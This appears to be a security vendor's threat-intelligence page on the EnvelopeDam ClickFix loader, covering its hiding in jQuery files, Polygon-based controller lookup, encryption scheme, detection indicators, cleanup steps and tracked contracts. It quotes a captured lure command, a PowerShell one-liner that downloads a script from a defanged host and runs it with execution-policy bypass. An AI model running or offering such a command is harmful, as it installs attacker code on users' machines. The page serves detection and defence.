Web threats / ClickFix

EnvelopeDam ClickFix kit

EnvelopeDam is an injected website loader that reads a controller from Polygon and unwraps a page-specific encrypted stage in the browser. We have matched it on 39 sites since 28 August.

EnvelopeDam in numbers

Since 28 August, the first EnvelopeDam match in our records, counted on 12 November 2026. How we count.

Sites with EnvelopeDam code39
Sites with a match in the last 30 days24
New sites in October18
Still serving it when recaptured at least 25 days later11 of 17 sites (65%)
Sites running WordPress (captured since 25 September)88%

The loader hides inside familiar JavaScript

EnvelopeDam is a website loader found inside files presented as jQuery assets. One capture placed the code at a dedicated jQuery path. A later version appended it to jquery-migrate.min.js, after the legitimate library code. A visitor can receive the loader while the page and its expected scripts still appear to work.

The builds use the same envelope design but different Polygon contracts. The later build also checks that the contract result begins with http:// or https:// before contacting it.

Polygon supplies the controller

The loader sends a read-only eth_call to Polygon with selector 0xe00fe2eb. The registered contract returns a controller address encoded as a standard ABI string.

EnvelopeDam then generates a random 16-character gid. It joins the current Unix time and page hostname, XORs that text with the repeating gid, and Base64-encodes the result as sid. The request sends gid alongside sid, giving the controller the key to decode it:

[controller]?sid=[encoded time and page hostname]&gid=[random key]

Three fields open the browser stage

The controller responds with JSON fields named i1, i2 and blob. The loader hex-decodes i1 into a repeating XOR key and i2 into ciphertext, decrypts and parses an inner JSON object, then Base64-decodes its blob value. A fallback chain named myEval runs the resulting JavaScript with new Function or eval inside the page.

What we see

MonthNew sites
September12
October18
November so far8

88% of EnvelopeDam sites captured since 25 September run WordPress. 24 EnvelopeDam sites also carry LenAI.

Checking a site

Inspect the original bytes of JavaScript files, including content after the expected library ending. Search for:

  • a Polygon call using selector 0xe00fe2eb
  • 16-character random keys paired with sid and gid request parameters
  • a response object containing i1, i2 and blob
  • hex decoding followed by a repeating-key XOR loop
  • functions named decodeAbiString, base64ToUtf8 or myEval
  • added code in jQuery or jquery-migrate.min.js

Replace the modified asset from a trusted package, remove the source of the injection and purge all caches before recapturing the logged-out page.

Contracts we read

We read 2 EnvelopeDam contracts every day.

ChainContractCurrent destinationsLast changed
Polygon0x6300d82A6e2fabbd165E1833d95E87bD46B38D4Asentrydb[.]org
Polygon0x951773066832ba967b3b884538a3a562b5c600d6domainpanel[.]world

The EtherHiding contract tracker keeps the full destination history.

Hosts its commands download from

EnvelopeDam lure commands we captured download from 1 host.

HostSitesLast seenLatest command
birdo[.]site2
Command
powershell -nop -c "$f=$env:TEMP+'\clakr.ps1';curl.exe -sk -o $f 'hxxps://birdo[.]site/LLxZY2r36FcfDdmF';powershell -ep bypass -File $f"

URL hxxps://birdo[.]site/LLxZY2r36FcfDdmF

First seen 11 November 2026, 2 URLs on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.